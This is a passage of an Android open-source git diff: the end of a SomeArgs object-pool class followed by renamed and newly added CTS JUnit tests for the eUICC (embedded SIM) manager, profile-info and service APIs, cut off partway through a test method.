+    public static SomeArgs obtain() {
+        synchronized (sPoolLock) {
+            if (sPoolSize > 0) {
+                SomeArgs args = sPool;
+                sPool = sPool.mNext;
+                args.mNext = null;
+                args.mInPool = false;
+                sPoolSize--;
+                return args;
+            } else {
+                return new SomeArgs();
+            }
+        }
+    }
+
+    public void complete() {
+        synchronized (this) {
+            if (mWaitState != WAIT_WAITING) {
+                throw new IllegalStateException("Not waiting");
+            }
+            mWaitState = WAIT_FINISHED;
+            notifyAll();
+        }
+    }
+
+    public void recycle() {
+        if (mInPool) {
+            throw new IllegalStateException("Already recycled.");
+        }
+        if (mWaitState != WAIT_NONE) {
+            return;
+        }
+        synchronized (sPoolLock) {
+            clear();
+            if (sPoolSize < MAX_POOL_SIZE) {
+                mNext = sPool;
+                mInPool = true;
+                sPool = this;
+                sPoolSize++;
+            }
+        }
+    }
+
+    private void clear() {
+        arg1 = null;
+        arg2 = null;
+        arg3 = null;
+        arg4 = null;
+        arg5 = null;
+        arg6 = null;
+        arg7 = null;
+        arg8 = null;
+        arg9 = null;
+        argi1 = 0;
+        argi2 = 0;
+        argi3 = 0;
+        argi4 = 0;
+        argi5 = 0;
+        argi6 = 0;
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
rename to tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
diff --git a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccInfoTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccInfoTest.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/euicc/cts/EuiccInfoTest.java
rename to tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccInfoTest.java
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
new file mode 100644
index 0000000..59bb882
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -0,0 +1,275 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.euicc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.telephony.TelephonyManager;
+import android.telephony.euicc.DownloadableSubscription;
+import android.telephony.euicc.EuiccInfo;
+import android.telephony.euicc.EuiccManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class EuiccManagerTest {
+
+    private static final int REQUEST_CODE = 0;
+    private static final int CALLBACK_TIMEOUT_MILLIS = 2000;
+    // starting activities might take extra time
+    private static final int ACTIVITY_CALLBACK_TIMEOUT_MILLIS = 5000;
+    private static final String ACTION_DOWNLOAD_SUBSCRIPTION = "cts_download_subscription";
+    private static final String ACTION_DELETE_SUBSCRIPTION = "cts_delete_subscription";
+    private static final String ACTION_SWITCH_TO_SUBSCRIPTION = "cts_switch_to_subscription";
+    private static final String ACTION_START_TEST_RESOLUTION_ACTIVITY =
+            "cts_start_test_resolution_activity";
+    private static final String ACTIVATION_CODE = "1$LOCALHOST$04386-AGYFT-A74Y8-3F815";
+
+    private static final String[] sCallbackActions =
+            new String[]{
+                    ACTION_DOWNLOAD_SUBSCRIPTION,
+                    ACTION_DELETE_SUBSCRIPTION,
+                    ACTION_SWITCH_TO_SUBSCRIPTION,
+                    ACTION_START_TEST_RESOLUTION_ACTIVITY,
+            };
+
+    private EuiccManager mEuiccManager;
+    private CallbackReceiver mCallbackReceiver;
+
+    @Before
+    public void setUp() throws Exception {
+        mEuiccManager = (EuiccManager) getContext().getSystemService(Context.EUICC_SERVICE);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mCallbackReceiver != null) {
+            getContext().unregisterReceiver(mCallbackReceiver);
+        }
+    }
+
+    @Test
+    public void testGetEid() {
+        // test disabled state only for now
+        if (mEuiccManager.isEnabled()) {
+            return;
+        }
+
+        // call getEid()
+        String eid = mEuiccManager.getEid();
+
+        // verify result is null
+        assertNull(eid);
+    }
+
+    @Test
+    public void testCreateForCardId() {
+        // just verify that this does not crash
+        mEuiccManager = mEuiccManager.createForCardId(TelephonyManager.UNINITIALIZED_CARD_ID);
+        mEuiccManager = mEuiccManager.createForCardId(TelephonyManager.UNSUPPORTED_CARD_ID);
+    }
+
+    @Test
+    public void testDownloadSubscription() {
+        // test disabled state only for now
+        if (mEuiccManager.isEnabled()) {
+            return;
+        }
+
+        // set up CountDownLatch and receiver
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        mCallbackReceiver = new CallbackReceiver(countDownLatch);
+        getContext()
+                .registerReceiver(
+                        mCallbackReceiver, new IntentFilter(ACTION_DOWNLOAD_SUBSCRIPTION));
+
+        // call downloadSubscription()
+        DownloadableSubscription subscription = createDownloadableSubscription();
+        PendingIntent callbackIntent = createCallbackIntent(ACTION_DOWNLOAD_SUBSCRIPTION);
+        mEuiccManager.downloadSubscription(
+                subscription, false /* switchAfterDownload */, callbackIntent);
+
+        // wait for callback
+        try {
+            countDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        // verify correct result code is received
+        assertEquals(
+                EuiccManager.EMBEDDED_SUBSCRIPTION_RESULT_ERROR, mCallbackReceiver.getResultCode());
+    }
+
+    @Test
+    public void testGetEuiccInfo() {
+        // test disabled state only for now
+        if (mEuiccManager.isEnabled()) {
+            return;
+        }
+
+        // call getEuiccInfo()
+        EuiccInfo euiccInfo = mEuiccManager.getEuiccInfo();
+
+        // verify result is null
+        assertNull(euiccInfo);
+    }
+
+    @Test
+    public void testDeleteSubscription() {
+        // test disabled state only for now
+        if (mEuiccManager.isEnabled()) {
+            return;
+        }
+
+        // set up CountDownLatch and receiver
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        mCallbackReceiver = new CallbackReceiver(countDownLatch);
+        getContext()
+                .registerReceiver(mCallbackReceiver, new IntentFilter(ACTION_DELETE_SUBSCRIPTION));
+
+        // call deleteSubscription()
+        PendingIntent callbackIntent = createCallbackIntent(ACTION_DELETE_SUBSCRIPTION);
+        mEuiccManager.deleteSubscription(3, callbackIntent);
+
+        // wait for callback
+        try {
+            countDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        // verify correct result code is received
+        assertEquals(
+                EuiccManager.EMBEDDED_SUBSCRIPTION_RESULT_ERROR, mCallbackReceiver.getResultCode());
+    }
+
+    @Test
+    public void testSwitchToSubscription() {
+        // test disabled state only for now
+        if (mEuiccManager.isEnabled()) {
+            return;
+        }
+
+        // set up CountDownLatch and receiver
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        mCallbackReceiver = new CallbackReceiver(countDownLatch);
+        getContext()
+                .registerReceiver(
+                        mCallbackReceiver, new IntentFilter(ACTION_SWITCH_TO_SUBSCRIPTION));
+
+        // call deleteSubscription()
+        PendingIntent callbackIntent = createCallbackIntent(ACTION_SWITCH_TO_SUBSCRIPTION);
+        mEuiccManager.switchToSubscription(4, callbackIntent);
+
+        // wait for callback
+        try {
+            countDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        // verify correct result code is received
+        assertEquals(
+                EuiccManager.EMBEDDED_SUBSCRIPTION_RESULT_ERROR, mCallbackReceiver.getResultCode());
+    }
+
+    @Test
+    public void testStartResolutionActivity() {
+        // set up CountDownLatch and receiver
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        mCallbackReceiver = new CallbackReceiver(countDownLatch);
+        getContext()
+                .registerReceiver(
+                        mCallbackReceiver, new IntentFilter(ACTION_START_TEST_RESOLUTION_ACTIVITY));
+
+        /*
+         * Start EuiccTestResolutionActivity to test EuiccManager#startResolutionActivity(), since
+         * it requires a foreground activity. EuiccTestResolutionActivity will report the test
+         * result to the callback receiver.
+         */
+        Intent testResolutionActivityIntent =
+                new Intent(getContext(), EuiccTestResolutionActivity.class);
+        PendingIntent callbackIntent = createCallbackIntent(ACTION_START_TEST_RESOLUTION_ACTIVITY);
+        testResolutionActivityIntent.putExtra(
+                EuiccTestResolutionActivity.EXTRA_ACTIVITY_CALLBACK_INTENT, callbackIntent);
+        testResolutionActivityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        getContext().startActivity(testResolutionActivityIntent);
+
+        // wait for callback
+        try {
+            countDownLatch.await(ACTIVITY_CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        // verify test result reported by EuiccTestResolutionActivity
+        assertEquals(
+                EuiccTestResolutionActivity.RESULT_CODE_TEST_PASSED,
+                mCallbackReceiver.getResultCode());
+    }
+
+    private Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+
+    private DownloadableSubscription createDownloadableSubscription() {
+        return DownloadableSubscription.forActivationCode(ACTIVATION_CODE);
+    }
+
+    private PendingIntent createCallbackIntent(String action) {
+        Intent intent = new Intent(action);
+        return PendingIntent.getBroadcast(
+                getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+    }
+
+    private static class CallbackReceiver extends BroadcastReceiver {
+
+        private CountDownLatch mCountDownLatch;
+
+        public CallbackReceiver(CountDownLatch latch) {
+            mCountDownLatch = latch;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            for (String callbackAction : sCallbackActions) {
+                if (callbackAction.equals(intent.getAction())) {
+                    int resultCode = getResultCode();
+                    mCountDownLatch.countDown();
+                    break;
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccProfileInfoTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccProfileInfoTest.java
new file mode 100644
index 0000000..ca203f8
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccProfileInfoTest.java
@@ -0,0 +1,238 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.euicc.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.service.carrier.CarrierIdentifier;
+import android.service.euicc.EuiccProfileInfo;
+import android.telephony.UiccAccessRule;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+/**
+ * This class is an exact copy of
+ * frameworks/base/core/tests/coretests/src/android/service/euicc/EuiccProfileInfoTest.java, except
+ * {@link #testBuilderBuild_IllegalIccid}
+ */
+@RunWith(AndroidJUnit4.class)
+public class EuiccProfileInfoTest {
+    @Test
+    public void testWriteToParcel() {
+        EuiccProfileInfo p =
+                new EuiccProfileInfo.Builder("21430000000000006587")
+                        .setNickname("profile nickname")
+                        .setServiceProviderName("service provider")
+                        .setProfileName("profile name")
+                        .setProfileClass(EuiccProfileInfo.PROFILE_CLASS_OPERATIONAL)
+                        .setState(EuiccProfileInfo.PROFILE_STATE_ENABLED)
+                        .setCarrierIdentifier(
+                                new CarrierIdentifier(
+                                        new byte[] {0x23, 0x45, 0x67},
+                                        "123",
+                                        "45"))
+                        .setPolicyRules(EuiccProfileInfo.POLICY_RULE_DO_NOT_DELETE)
+                        .setUiccAccessRule(
+                                Arrays.asList(new UiccAccessRule(new byte[] {}, "package", 12345L)))
+                        .build();
+
+        Parcel parcel = Parcel.obtain();
+        assertTrue(parcel != null);
+        p.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+        EuiccProfileInfo fromParcel = EuiccProfileInfo.CREATOR.createFromParcel(parcel);
+
+        assertEquals(p, fromParcel);
+    }
+
+    @Test
+    public void testWriteToParcelNullCarrierId() {
+        EuiccProfileInfo p =
+                new EuiccProfileInfo.Builder("21430000000000006587")
+                        .setNickname("profile nickname")
+                        .setServiceProviderName("service provider")
+                        .setProfileName("profile name")
+                        .setProfileClass(EuiccProfileInfo.PROFILE_CLASS_OPERATIONAL)
+                        .setState(EuiccProfileInfo.PROFILE_STATE_ENABLED)
+                        .setPolicyRules(EuiccProfileInfo.POLICY_RULE_DO_NOT_DELETE)
+                        .setUiccAccessRule(
+                                Arrays.asList(new UiccAccessRule(new byte[] {}, "package", 12345L))
+                        )
+                        .build();
+
+        Parcel parcel = Parcel.obtain();
+        assertTrue(parcel != null);
+        p.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+        EuiccProfileInfo fromParcel = EuiccProfileInfo.CREATOR.createFromParcel(parcel);
+
+        assertEquals(p, fromParcel);
+    }
+
+    @Test
+    public void testBuilderAndGetters() {
+        EuiccProfileInfo p =
+                new EuiccProfileInfo.Builder("21430000000000006587")
+                        .setNickname("profile nickname")
+                        .setProfileName("profile name")
+                        .setServiceProviderName("service provider")
+                        .setCarrierIdentifier(
+                                new CarrierIdentifier(
+                                        new byte[] {0x23, 0x45, 0x67},
+                                        "123",
+                                        "45"))
+                        .setState(EuiccProfileInfo.PROFILE_STATE_ENABLED)
+                        .setProfileClass(EuiccProfileInfo.PROFILE_CLASS_OPERATIONAL)
+                        .setPolicyRules(EuiccProfileInfo.POLICY_RULE_DO_NOT_DELETE)
+                        .setUiccAccessRule(Arrays.asList(new UiccAccessRule(new byte[0], null, 0)))
+                        .build();
+
+        assertEquals("21430000000000006587", p.getIccid());
+        assertEquals("profile nickname", p.getNickname());
+        assertEquals("profile name", p.getProfileName());
+        assertEquals("service provider", p.getServiceProviderName());
+        assertEquals("325", p.getCarrierIdentifier().getMcc());
+        assertEquals("764", p.getCarrierIdentifier().getMnc());
+        assertEquals("123", p.getCarrierIdentifier().getGid1());
+        assertEquals("45", p.getCarrierIdentifier().getGid2());
+        assertEquals(EuiccProfileInfo.PROFILE_STATE_ENABLED, p.getState());
+        assertEquals(EuiccProfileInfo.PROFILE_CLASS_OPERATIONAL, p.getProfileClass());
+        assertEquals(EuiccProfileInfo.POLICY_RULE_DO_NOT_DELETE, p.getPolicyRules());
+        assertTrue(p.hasPolicyRules());
+        assertTrue(p.hasPolicyRule(EuiccProfileInfo.POLICY_RULE_DO_NOT_DELETE));
+        assertFalse(p.hasPolicyRule(EuiccProfileInfo.POLICY_RULE_DO_NOT_DISABLE));
+        assertArrayEquals(
+                new UiccAccessRule[] {new UiccAccessRule(new byte[0], null, 0)},
+                p.getUiccAccessRules().toArray());
+    }
+
+    @Test
+    public void testBuilder_BasedOnAnotherProfile() {
+        EuiccProfileInfo p =
+                new EuiccProfileInfo.Builder("21430000000000006587")
+                        .setNickname("profile nickname")
+                        .setProfileName("profile name")
+                        .setServiceProviderName("service provider")
+                        .setCarrierIdentifier(
+                                new CarrierIdentifier(
+                                        new byte[] {0x23, 0x45, 0x67},
+                                        "123",
+                                        "45"))
+                        .setState(EuiccProfileInfo.PROFILE_STATE_ENABLED)
+                        .setProfileClass(EuiccProfileInfo.PROFILE_CLASS_OPERATIONAL)
+                        .setPolicyRules(EuiccProfileInfo.POLICY_RULE_DO_NOT_DELETE)
+                        .setUiccAccessRule(
+                                Arrays.asList(new UiccAccessRule(new byte[] {}, "package", 12345L)))
+                        .build();
+
+        EuiccProfileInfo copied = new EuiccProfileInfo.Builder(p).build();
+
+        assertEquals(p, copied);
+        assertEquals(p.hashCode(), copied.hashCode());
+    }
+
+    @Test
+    public void testEqualsHashCode() {
+        EuiccProfileInfo p =
+                new EuiccProfileInfo.Builder("21430000000000006587")
+                        .setNickname("profile nickname")
+                        .setProfileName("profile name")
+                        .setServiceProviderName("service provider")
+                        .setCarrierIdentifier(
+                                new CarrierIdentifier(
+                                        new byte[] {0x23, 0x45, 0x67},
+                                        "123",
+                                        "45"))
+                        .setState(EuiccProfileInfo.PROFILE_STATE_ENABLED)
+                        .setProfileClass(EuiccProfileInfo.PROFILE_STATE_ENABLED)
+                        .setPolicyRules(EuiccProfileInfo.POLICY_RULE_DO_NOT_DELETE)
+                        .setUiccAccessRule(Arrays.asList(new UiccAccessRule(new byte[0], null, 0)))
+                        .build();
+
+        assertTrue(p.equals(p));
+        assertFalse(p.equals(new Object()));
+
+        EuiccProfileInfo t = null;
+        assertFalse(p.equals(t));
+
+        t = new EuiccProfileInfo.Builder(p).setIccid("21").build();
+        assertFalse(p.equals(t));
+        assertNotEquals(p.hashCode(), t.hashCode());
+
+        t = new EuiccProfileInfo.Builder(p).setNickname(null).build();
+        assertFalse(p.equals(t));
+        assertNotEquals(p.hashCode(), t.hashCode());
+
+        t = new EuiccProfileInfo.Builder(p).setProfileName(null).build();
+        assertFalse(p.equals(t));
+        assertNotEquals(p.hashCode(), t.hashCode());
+
+        t = new EuiccProfileInfo.Builder(p).setServiceProviderName(null).build();
+        assertFalse(p.equals(t));
+        assertNotEquals(p.hashCode(), t.hashCode());
+
+        t = new EuiccProfileInfo.Builder(p).setCarrierIdentifier(null).build();
+        assertFalse(p.equals(t));
+        assertNotEquals(p.hashCode(), t.hashCode());
+
+        t = new EuiccProfileInfo.Builder(p)
+                .setState(EuiccProfileInfo.PROFILE_STATE_DISABLED).build();
+        assertFalse(p.equals(t));
+        assertNotEquals(p.hashCode(), t.hashCode());
+
+        t = new EuiccProfileInfo.Builder(p)
+                .setProfileClass(EuiccProfileInfo.PROFILE_CLASS_TESTING).build();
+        assertFalse(p.equals(t));
+        assertNotEquals(p.hashCode(), t.hashCode());
+
+        t = new EuiccProfileInfo.Builder(p).setPolicyRules(0).build();
+        assertFalse(p.equals(t));
+        assertNotEquals(p.hashCode(), t.hashCode());
+
+        t = new EuiccProfileInfo.Builder(p).setUiccAccessRule(null).build();
+        assertFalse(p.equals(t));
+        assertNotEquals(p.hashCode(), t.hashCode());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testBuilderBuild_IllegalIccid() {
+        new EuiccProfileInfo.Builder("abc").build();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testBuilderSetOperatorMccMnc_Illegal() {
+        new EuiccProfileInfo.Builder("21430000000000006587")
+                .setCarrierIdentifier(new CarrierIdentifier(new byte[] {1, 2, 3, 4}, null, null));
+    }
+
+    @Test
+    public void testCreatorNewArray() {
+        EuiccProfileInfo[] profiles = EuiccProfileInfo.CREATOR.newArray(123);
+        assertEquals(123, profiles.length);
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccResolutionActivity.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccResolutionActivity.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/euicc/cts/EuiccResolutionActivity.java
rename to tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccResolutionActivity.java
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccServiceTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccServiceTest.java
new file mode 100644
index 0000000..5b0492f
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccServiceTest.java
@@ -0,0 +1,435 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.euicc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.IBinder;
+import android.service.euicc.DownloadSubscriptionResult;
+import android.service.euicc.EuiccService;
+import android.service.euicc.GetDefaultDownloadableSubscriptionListResult;
+import android.service.euicc.GetDownloadableSubscriptionMetadataResult;
+import android.service.euicc.GetEuiccProfileInfoListResult;
+import android.service.euicc.IDeleteSubscriptionCallback;
+import android.service.euicc.IDownloadSubscriptionCallback;
+import android.service.euicc.IEraseSubscriptionsCallback;
+import android.service.euicc.IEuiccService;
+import android.service.euicc.IGetDefaultDownloadableSubscriptionListCallback;
+import android.service.euicc.IGetDownloadableSubscriptionMetadataCallback;
+import android.service.euicc.IGetEidCallback;
+import android.service.euicc.IGetEuiccInfoCallback;
+import android.service.euicc.IGetEuiccProfileInfoListCallback;
+import android.service.euicc.IGetOtaStatusCallback;
+import android.service.euicc.IOtaStatusChangedCallback;
+import android.service.euicc.IRetainSubscriptionsForFactoryResetCallback;
+import android.service.euicc.ISwitchToSubscriptionCallback;
+import android.service.euicc.IUpdateSubscriptionNicknameCallback;
+import android.telephony.euicc.DownloadableSubscription;
+import android.telephony.euicc.EuiccInfo;
+import android.telephony.euicc.EuiccManager;
+import android.telephony.euicc.cts.MockEuiccService.IMockEuiccServiceCallback;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ServiceTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class EuiccServiceTest {
+    private static final String ACTIVATION_CODE = "12345-ABCDE";
+
+    private static final int CALLBACK_TIMEOUT_MILLIS = 2000 /* 2 sec */;
+
+    private static final int MOCK_SLOT_ID = 1;
+    private static final String MOCK_ICCID = "12345";
+    private static final String MOCK_NICK_NAME = "nick name";
+
+    private IEuiccService mEuiccServiceBinder;
+    private IMockEuiccServiceCallback mCallback;
+
+    private CountDownLatch mCountDownLatch;
+
+    @Rule public ServiceTestRule mServiceTestRule = new ServiceTestRule();
+
+    @Before
+    public void setUp() throws Exception {
+        mCallback = new MockEuiccServiceCallback();
+        MockEuiccService.setCallback(mCallback);
+
+        Intent mockServiceIntent = new Intent(getContext(), MockEuiccService.class);
+        IBinder binder = mServiceTestRule.bindService(mockServiceIntent);
+        mEuiccServiceBinder = IEuiccService.Stub.asInterface(binder);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mServiceTestRule.unbindService();
+        mCallback.reset();
+    }
+
+    static class MockEuiccServiceCallback implements IMockEuiccServiceCallback {
+        private boolean mMethodCalled;
+
+        @Override
+        public void setMethodCalled() {
+            mMethodCalled = true;
+        }
+
+        @Override
+        public boolean isMethodCalled() {
+            return mMethodCalled;
+        }
+
+        @Override
+        public void reset() {
+            mMethodCalled = false;
+        }
+    }
+
+    private Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+
+    @Test
+    public void testOnGetEid() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.getEid(
+                MOCK_SLOT_ID,
+                new IGetEidCallback.Stub() {
+                    @Override
+                    public void onSuccess(String eid) {
+                        assertEquals(MockEuiccService.MOCK_EID, eid);
+                        mCountDownLatch.countDown();
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnGetOtaStatus() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.getOtaStatus(
+                MOCK_SLOT_ID,
+                new IGetOtaStatusCallback.Stub() {
+                    @Override
+                    public void onSuccess(int status) {
+                        assertEquals(EuiccManager.EUICC_OTA_SUCCEEDED, status);
+                        mCountDownLatch.countDown();
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnGetDownloadableSubscriptionMetadata() throws Exception {
+        DownloadableSubscription subscription =
+                DownloadableSubscription.forActivationCode(ACTIVATION_CODE);
+
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.getDownloadableSubscriptionMetadata(
+                MOCK_SLOT_ID,
+                subscription,
+                true /*forceDeactivateSim*/,
+                new IGetDownloadableSubscriptionMetadataCallback.Stub() {
+                    @Override
+                    public void onComplete(GetDownloadableSubscriptionMetadataResult result) {
+                        assertNotNull(result);
+                        assertEquals(EuiccService.RESULT_OK, result.getResult());
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnStartOtaIfNecessary() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.startOtaIfNecessary(
+                MOCK_SLOT_ID,
+                new IOtaStatusChangedCallback.Stub() {
+                    @Override
+                    public void onOtaStatusChanged(int status) {
+                        assertEquals(EuiccManager.EUICC_OTA_SUCCEEDED, status);
+                        mCountDownLatch.countDown();
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnGetDefaultDownloadableSubscriptionList() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.getDefaultDownloadableSubscriptionList(
+                MOCK_SLOT_ID,
+                true /*forceDeactivateSim*/,
+                new IGetDefaultDownloadableSubscriptionListCallback.Stub() {
+                    @Override
+                    public void onComplete(GetDefaultDownloadableSubscriptionListResult result) {
+                        assertNotNull(result);
+                        assertEquals(EuiccService.RESULT_RESOLVABLE_ERRORS, result.getResult());
+                        mCountDownLatch.countDown();
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnDownloadSubscription() throws Exception {
+        DownloadableSubscription subscription =
+                DownloadableSubscription.forActivationCode(ACTIVATION_CODE);
+
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.downloadSubscription(
+                MOCK_SLOT_ID,
+                subscription,
+                true /*switchAfterDownload*/,
+                true /*forceDeactivateSim*/,
+                null /*resolvedBundle*/,
+                new IDownloadSubscriptionCallback.Stub() {
+                    @Override
+                    public void onComplete(DownloadSubscriptionResult result) {
+                        assertNotNull(result);
+                        assertEquals(EuiccService.RESULT_OK, result.getResult());
+                        mCountDownLatch.countDown();
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnGetEuiccProfileInfoList() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+
+        mEuiccServiceBinder.getEuiccProfileInfoList(
+                MOCK_SLOT_ID,
+                new IGetEuiccProfileInfoListCallback.Stub() {
+                    @Override
+                    public void onComplete(GetEuiccProfileInfoListResult result) {
+                        assertNotNull(result);
+                        assertEquals(EuiccService.RESULT_RESOLVABLE_ERRORS, result.getResult());
+                        mCountDownLatch.countDown();
+                    }
+                });
+
+        try {
+            mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        assertTrue(mCallback.isMethodCalled());
+    }
+
+    @Test
+    public void testOnGetEuiccInfo() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+
